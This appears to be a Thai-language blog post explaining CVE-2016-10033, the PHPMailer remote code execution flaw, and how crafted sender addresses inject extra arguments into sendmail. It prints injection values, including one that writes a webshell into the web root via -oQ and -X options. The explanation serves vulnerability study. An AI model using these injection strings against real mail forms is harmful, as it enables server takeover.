CVE-2016-10033 [PHPMAILER - RCE]

CVE-2016-10033 [PHPMAILER - RCE]
PHPMailer เป็น open source ที่ถูกใช้สำหรับการส่ง email ผ่าน php ซึ่ง PHPMailer นั้นถูกใช้ใน CMS มากมายไม่ว่าจะเป็น WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! และอื่นๆอีกมากมาย โดย PHPMailer version ก่อน 5.2.18 มีช่องโหว่ที่ทำให้เกิดช่องโหว่ remote code execution (RCE). ซึ่งเกิดจากส่วน mailSend function เกิดการ parsing ที่ผิดพลาด
เพื่อจะโจมตีช่องโหว่นี้ Attacker ต้องมี website ที่มีเพจในการรับการส่ง email ผ่านทาง form ต่างๆ เช่น contact/feedback forms, registration forms, password
email resets เป็นต้น ซึ่งนั่นจะเป็นช่องทางที่ให้ Attacker สามารถติดต่อไปยัง PHPMailer ได้นั่นเอง โดยเมื่อปกติเรามีการเรียกใช้งาน mail() function ก็จะมีการเรียกใช้งาน PHPMailer class นั่นเอง โดยการส่งค่า parameter ไปยัง mail() จะมีลักษณะเป็น
$result = $this->mail($toAddr, $this->Subject, $body, $header, $params);
Parameter ที่ 5 จะเป็นส่วนกำหนด parameter พิเศษในการใช้งาน sendmail command ของระบบ(สามารถอ่านรายละเอียดเพิ่มเติมได้ที่ (http://php.net/manual/en/function.mail.php)
ซึ่งถ้าดูจากรายละเอียดของ function จะมีการใช้งานเป็น
$params = sprintf('-f%s', $this->Sender);
ซึ่ง PHPMailer มีการกำหนดตัวแปร Sender เพื่อนำไปกำหนด params ซึ่งก็คือ parameter ที่ 5 นั่นเอง โดย Sender ปกติจะถูกกำหนดผ่าน setFrom() function ซึ่งมีการตรวจสอบผู้ส่งว่าถูกต้องหรือไม่ ซึ่งโดยปกติหากมีการใส่ email เป็น
attacker -InjectedOption @attacker.com
นั่นทำให้ไม่สามารถจะ inject option ที่เราต้องการเข้าไปได้ แต่เนื่องด้วยตามปกติแล้ว email นั้นสามารถใช้ “” เป็นตัวกำหนดชื่อผู้ส่งได้ เช่น
“Attacker -Option1 -Option2”@attacker.com
ผลลัพธ์ที่เกิดขึ้นจะ parse เข้าไปในลักษณะ sender ได้ แต่เมื่อมีการส่ง ไปยัง PHPMailer/mail() function ก็จะไปเรียก /usr/bin/sendmail แล้วจะกลายเป็น
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker -Option1 [-Option2@attacker.com](mailto:-Option2@attacker.com)]
ซึ่งจากตัวอย่างจะเห็นว่า argument 3 จะเป็น
-fAttacker -Option1 -Option2
แต่เราสามารถทำให้แตกเป็น argument แยกกันได้โดยใช้เป็น
"Attacker \" -Option1 -Option2"@attacker.com
เมื่อเรียก /usr/bin/sendmail แล้วจะกลายเป็น
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Option1]
Arg no. 5 == [-Option2"@attacker.com]
นั่นทำให้เราสามารถกำหนด parameter 4 และ 5 ได้นั่นเอง ซึ่งนั่นทำให้เราสามารถสั่งการ sendmail ได้ โดยตัวอย่างจะเป็น
"Attacker\" -oQ/tmp/ -X/var/www/html/webshell.php test"@attacker.com
เมื่อเรียก /usr/bin/sendmail แล้วจะกลายเป็น
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/html/webshell.php]
Arg no. 6 == [[test@attacker.com](mailto:test@attacker.com)]

Comments

Popular Posts